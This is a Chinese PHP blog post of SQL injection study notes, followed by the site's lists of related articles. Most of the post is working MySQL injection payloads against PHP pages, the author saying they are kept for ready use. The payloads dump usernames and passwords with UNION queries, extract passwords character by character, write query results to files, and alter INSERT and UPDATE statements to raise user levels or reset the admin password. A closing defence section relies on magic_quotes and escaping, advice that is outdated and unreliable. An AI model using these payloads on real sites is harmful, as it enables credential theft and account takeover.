PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
PHP环境搭建最新方法
Sep 05 PHP
十天学会php之第六天
Oct 09 PHP
PHP,ASP.JAVA,JAVA代码格式化工具整理
Jun 15 PHP
单点登录 Ucenter示例分析
Oct 29 PHP
9个实用的PHP代码片段分享
Jan 22 PHP
如何使用jQuery+PHP+MySQL来实现一个在线测试项目
Apr 26 PHP
PHP获取中国时间(上海时区时间)及美国时间的方法
Feb 23 PHP
基于Laravel5.4实现多字段登录功能方法示例
Aug 11 PHP
PHP使用栈解决约瑟夫环问题算法示例
Aug 27 PHP
thinkPHP中钩子的使用方法实例分析
Nov 16 PHP
Laravel框架模板加载,分配变量及简单路由功能示例
Jun 11 PHP
php设计模式之单例模式用法经典示例分析
Sep 20 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
php 获取select下拉列表框的值
2010/05/08 PHP
PHP自带函数给数字或字符串自动补齐位数
2014/07/29 PHP
thinkPHP模板中for循环与switch语句用法示例
2016/11/30 PHP
js跨域问题浅析及解决方法优缺点对比
2014/11/08 Javascript
node.js中的http.response.setHeader方法使用说明
2014/12/14 Javascript
Jquery实现select multiple左右添加和删除功能的简单实例
2016/05/26 Javascript
nodejs微信公众号支付开发
2016/09/19 NodeJs
js代码实现下拉菜单【推荐】
2016/12/15 Javascript
BootStrap表单控件之复选框checkbox和单选择按钮radio
2017/05/23 Javascript
bootstrap里bootstrap动态加载下拉框的实例讲解
2018/08/10 Javascript
VUE 配置vue-devtools调试工具及安装方法
2018/09/30 Javascript
Javascript删除数组里的某个元素
2019/02/28 Javascript
Layui数据表格之单元格编辑方式
2019/10/26 Javascript
解决vue组件中click事件失效的问题
2019/11/09 Javascript
js中关于Blob对象的介绍与使用
2019/11/29 Javascript
如何利用JavaScript编写更好的条件语句详解
2020/08/10 Javascript
Python、Javascript中的闭包比较
2015/02/04 Python
Python使用PDFMiner解析PDF代码实例
2017/03/27 Python
Python爬虫实现百度图片自动下载
2018/02/04 Python
python 移除字符串尾部的数字方法
2018/07/17 Python
在python中利用numpy求解多项式以及多项式拟合的方法
2019/07/03 Python
通过PHP与Python代码对比的语法差异详解
2019/07/10 Python
python的re模块使用方法详解
2019/07/26 Python
在python3.9下如何安装scrapy的方法
2021/02/03 Python
迪卡侬荷兰官网:Decathlon荷兰
2017/10/29 全球购物
求∏的近似值,直到最后一项的绝对值小于指定的数
2016/02/12 面试题
在校生汽车维修实习自我鉴定
2013/09/19 职场文书
迟到检讨书400字
2014/01/13 职场文书
中学运动会广播稿
2014/01/19 职场文书
教师专业自荐书范文
2014/02/10 职场文书
竞选部门副经理的自荐书范文
2014/02/11 职场文书
医疗器械售后服务承诺书
2014/05/21 职场文书
群众路线查摆问题及整改措施
2014/10/10 职场文书
教师学习群众路线心得体会
2014/11/04 职场文书
中学生学习保证书
2015/02/26 职场文书
社区环境卫生倡议书
2015/04/29 职场文书